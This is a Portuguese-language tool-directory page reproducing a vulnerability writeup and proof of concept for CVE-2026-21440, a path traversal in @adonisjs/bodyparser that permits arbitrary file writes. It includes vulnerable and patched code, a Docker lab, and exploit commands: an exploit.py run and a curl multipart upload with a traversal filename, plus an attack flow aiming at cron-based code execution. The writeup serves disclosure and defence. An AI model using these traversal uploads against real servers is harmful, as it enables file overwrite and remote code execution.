Skip to content
KitploitKITPLOIT
FerramentasBlog
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
cve-2026-21440-writeup-poc — poc e writeup para cve-2026-21440: uma vulnerabilidade crítica de path traversal no @adonisjs/bodyparser que permite escrita arbitrária de arquivos | Kitploit
Ferramentas/GitHubGitHub/k0nnect/cve-2026-21440-writeup-poc
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebPapers e PesquisaAprendizado e EducaçãoRecursos CuradosLabs e Prática
GitHubk0nnect/cve-2026-21440-writeup-poc

cve-2026-21440-writeup-poc

poc e writeup para cve-2026-21440: uma vulnerabilidade crítica de path traversal no @adonisjs/bodyparser que permite escrita arbitrária de arquivos

Ver Repositório
37há 8 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →
Compartilhar

cve-2026-21440

path traversal para escrita arbitrária de arquivos no @adonisjs/bodyparser

CVE-2026-21440 CWE-22 CVSS 9.2


visão geral

existe uma vulnerabilidade crítica de path traversal no pacote @adonisjs/bodyparser que permite que atacantes remotos escrevam arquivos arbitrários fora do diretório de upload pretendido. quando a função multipartfile.move() é chamada sem fornecer explicitamente um nome de arquivo sanitizado, o parser usa por padrão o nome de arquivo fornecido pelo cliente, sem a devida sanitização.

como a implementação usa path.join() e options.overwrite tem como padrão true, um atacante pode criar um nome de arquivo malicioso contendo sequências de path traversal (por exemplo, ) para escrever arquivos em qualquer lugar do sistema de arquivos, potencialmente levando à execução remota de código.

../../etc/cron.d/malicious

análise da vulnerabilidade

atributovalor
id cvecve-2026-21440
classificação cwecwe-22: limitação inadequada de um nome de caminho a um diretório restrito ('path traversal')
pontuação cvss v3.19.2 (crítica)
vetor de ataquerede
complexidade do ataquebaixa
privilégios necessáriosnenhum
interação do usuárionenhuma

causa raiz

a vulnerabilidade existe no método multipartfile.move(location, options?). quando os desenvolvedores chamam este método sem fornecer options.name, o código usa por padrão this.clientName — o nome de arquivo original enviado pelo cliente — sem sanitização.

root@kitploit:~
// caminho de código vulnerável no @adonisjs/bodyparser
async move(location: string, options?: { name?: string; overwrite?: boolean }): Promise<void> {
  const fileName = options?.name || this.clientName  // ← entrada do cliente não sanitizada
  const filePath = path.join(location, fileName)     // ← path.join permite traversal
  // ...
  await fs.move(this.tmpPath, filePath, { overwrite: options?.overwrite ?? true })
}

fluxo do ataque

root@kitploit:~
┌─────────────────────────────────────────────────────────────────┐
│                         atacante                                 │
└─────────────────────────────────────────────────────────────────┘
                              │
                              │ multipart/form-data
                              │ filename="../../etc/cron.d/pwned"
                              ▼
┌─────────────────────────────────────────────────────────────────┐
│                    aplicação adonisjs vulnerável                │
│                                                                  │
│   request.file('upload')                                        │
│        │                                                         │
│        ▼                                                         │
│   file.move(app.tmpPath())  ← nenhum nome sanitizado fornecido  │
│        │                                                         │
│        ▼                                                         │
│   path.join('/tmp/uploads', '../../etc/cron.d/pwned')           │
│        │                                                         │
│        ▼                                                         │
│   resolve para: /etc/cron.d/pwned                               │
│        │                                                         │
│        ▼                                                         │
│   arquivo escrito fora do diretório de upload                   │
└─────────────────────────────────────────────────────────────────┘
                              │
                              ▼
                    escrita arbitrária de arquivos
                         → rce via cron
                         → sobrescrita de configuração
                         → injeção de chave ssh

versões afetadas

pacoteversões vulneráveisversão corrigida
@adonisjs/bodyparser≤ 10.1.110.1.2
@adonisjs/bodyparser11.0.0-next.1 a 11.0.0-next.511.0.0-next.6

exploração

pré-requisitos

  • aplicação alvo usa versão vulnerável do @adonisjs/bodyparser
  • endpoint de upload de arquivos chama file.move() sem opção name explícita
  • servidor web tem permissões de escrita no diretório alvo

prova de conceito

root@kitploit:~
# navegue até o diretório do exploit
cd Exploit-PoC

# instale as dependências
pip install -r requirements.txt

# execute o exploit
python exploit.py --url http://target:3333/upload --path "../../../tmp/pwned.txt" --content "pwned"

exploração manual

root@kitploit:~
curl -X POST http://target:3333/upload \
  -F "[email protected];filename=../../tmp/pwned.txt"

detecção e mitigação

padrão de código vulnerável

root@kitploit:~
// ❌ vulnerável - usa nome de arquivo fornecido pelo cliente
public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    await file.move(app.tmpPath())  // clientName usado como nome de arquivo
  }
  return response.ok({ message: 'uploaded' })
}

padrão de código seguro

root@kitploit:~
// ✅ seguro - gera nome de arquivo sanitizado
import { cuid } from '@adonisjs/core/helpers'
import path from 'node:path'

public async upload({ request, response }: HttpContext) {
  const file = request.file('upload')
  if (file) {
    // gera nome de arquivo único com extensão original
    const ext = path.extname(file.clientName).toLowerCase()
    const safeName = `${cuid()}${ext}`
    
    await file.move(app.tmpPath(), {
      name: safeName,
      overwrite: false  // previne sobrescritas
    })
  }
  return response.ok({ message: 'uploaded' })
}

mitigações adicionais

  1. atualize imediatamente — atualize @adonisjs/bodyparser para a versão corrigida
  2. validação de entrada — valide extensões de arquivo contra uma lista de permissões
  3. sanitização de nomes de arquivo — remova separadores de caminho e use nomes gerados
  4. isolamento do sistema de arquivos — use conteinerização para limitar o raio de explosão
  5. princípio do menor privilégio — execute o servidor web com permissões mínimas

ambiente de laboratório

início rápido

root@kitploit:~
# clone o repositório
git clone https://github.com/k0nnect/cve-2026-21440.git
cd cve-2026-21440

# inicie o ambiente vulnerável
docker-compose up --build

# em outro terminal, execute o exploit
cd Exploit-PoC
python exploit.py --url http://localhost:3333/upload --path "../test.txt"

# verifique se o arquivo foi escrito fora do diretório de uploads
docker-compose exec app cat /app/test.txt

cronograma

dataevento
2026-01-02correção lançada nas versões 10.1.2 e 11.0.0-next.6
2026-01-02ghsa-gvq6-hvvp-h34h publicado
2026-01-02cve-2026-21440 atribuído
2026-01-02publicado pela nvd

referências

  • nvd - cve-2026-21440
  • cwe-22: path traversal
  • documentação do bodyparser do adonisjs
  • path traversal da owasp

aviso legal

este repositório é fornecido apenas para fins educacionais e de pesquisa de segurança autorizada. o código de prova de conceito destina-se a ajudar profissionais de segurança a entender e testar esta vulnerabilidade em ambientes que estão autorizados a avaliar.

acesso não autorizado a sistemas de computador é ilegal. os autores não assumem nenhuma responsabilidade pelo uso indevido destas informações. sempre obtenha autorização adequada antes de testar vulnerabilidades.


pesquisado com ☕ por k0nnect

Baixar ferramenta